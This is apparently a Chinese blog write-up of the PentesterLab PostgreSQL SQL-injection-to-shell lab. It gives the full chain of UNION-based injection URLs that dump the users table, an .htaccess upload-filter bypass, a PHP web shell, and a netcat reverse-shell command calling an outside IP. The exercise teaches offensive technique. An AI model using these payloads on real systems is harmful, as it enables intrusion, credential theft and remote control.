• PentesterLab-From SQL Injection to Shell: PostgreSQL edition


      

    一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入

      由于PostgreSQL与MySQL不同,几个关注点需要注意下

    二、order by下看看有几个字段

    /cat.php?id=1%20order%20by%204
    
    #order by 4正常,5出现报错,说明有4个字段

    三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格

    http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

    发现只有第二个字段可以出来东西,注入点在第二个字段

    四、查看当前库名

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

    五、查看表名

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

    六、查看各个字段,遍历offset

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

    得出有login和password

    七、直接通过拼接字符串,读取数据

    http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

    八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传

    九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过

    十、先编写一个.htaccess文件,内容为一下内容,进行上传

    AddType application/x-httpd-php .blah

    这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析

    十一、在上传shell,不过这次shell不是.php后缀名,而是.blah

    <?php
    system($_GET['cmd'])
    ?>

    十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹

    http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash
  • 相关阅读:
    React之JSX语法
    Visual Studio Code 使用 Typings 实现智能提示功能
    React.js 之hello word
    Linux命令详解-cd
    Linux命令详解-ls
    linux常用命令
    LINUX系统配置相关
    netsh
    Visual Studio
    乘法算术表
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/9668191.html
Copyright © 2020-2023  润新知